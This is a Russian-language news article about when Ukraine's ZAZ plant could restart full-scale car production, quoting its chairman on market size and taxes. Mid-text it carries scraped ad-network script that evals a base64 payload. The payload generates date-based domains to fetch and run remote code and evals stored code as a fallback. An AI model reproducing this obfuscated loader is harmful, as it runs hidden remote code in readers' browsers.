Запуск полномасштабного производства легковых автомобилей на ЗАЗ зависит от внутреннего рынка продаж новых авто.
О том, при каких условиях Запорожский автомобильный завод вновь запустит полноценное и массовое производство легковых авто, рассказала на днях журналистам председатель правления ЗАО ЗАЗ Николай Евдокименко, сообщает Акцент.
По словам руководителя предприятия, основная проблема состоит в емкости внутреннего рынка продаж авто в Украине, а также платежеспособности населения.
«Нужен рынок автомобилей и платежеспособность населения. За 7 месяцев этого года рынок продаж новых автомобилей вырос на 30%. Им мы этому очень рады. Если бы еще на 30% выросла платежеспособность населения — было бы все хорошо. Полномасштабное производство легковых авто в Украине возможно, когда рынок продаж новых автомобилей будет 200-250 тысяч в год. В этом году он будет 100 тысяч. нам надо сделать так, что мы, украинцы, к этому времени были готовы. А мы на ЗАЗе делаем все, чтобы и легковые автомобили производились и автобусы, и другая специальная техника», — рассказал Евдокименко.
Николай Евдокименко (справа) общается с главой ЗОГА Александром Старуом (в центре) и нардепом Артемом Кунаевым (слева)
Также председатель правления ЗАЗ отметил важность защиты отечественного производителя со стороны центральных органов власти и привел примеры, насколько эффективно действуют в соседних странах свободные экономические зоны, где производят автомобили. Это позволяет конкурировать и удешевлять конечный продукт. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
полномасштабное производство на ЗАЗе возможно при увеличении внутреннего рынка продаж новых авто до 200-250 тысяч в год, — Евдокименко
На вопрос корреспондента Акцента, почему практически все легковые авто, которые собираются на ЗАЗе, в салонах стоят дороже, нежели их аналоги, например в Российской Федерации, Евдокименко дал следующий ответ:
«Если есть разница в цене, то это за счет налоговой нагрузки. Основная часть себестоимости легкового автомобиля — это материальные затраты — от 70 до 80%. Цены на мировых рынках на комплектующие примерно также одинаковые. То есть больших колебаний нет. Все зависит от того, как государство «нагружает» производителя налогами. Например, производители авто в Украине получили за последнее время 5-6 дополнительных налогов, и за счет этого получается разница. И конечно же, в каких условиях производятся авто. Что касается России. Рено купила Автоваз. И примерно 400 га рядом с Автоваз сделали свободную экономическую зону для производителей комплектующих. Освободили их на большое количество лет, по-моему на 10, от всех налогов. Такая же история на заводе в Калуге, где производят. Пежо-Ситроен. А мы работаем на полном налогообложении, это 35%. Потому наши взоры устремлены в Верховную Раду. Сделайте нам одинаковые условия».
Производители KIA в Словакии освобождены почти от всех налогов, — Евдокименко
Напомним, ранее Акцент рассказывал, как выглядит сборка российских Lada на ЗАЗ, а также как развивается автобусное производство. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/na-zaze-rasskazali-kogda-smogut-vosstanovit-polnomasshtabnoe-proizvodstvo-legkovyh-avto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
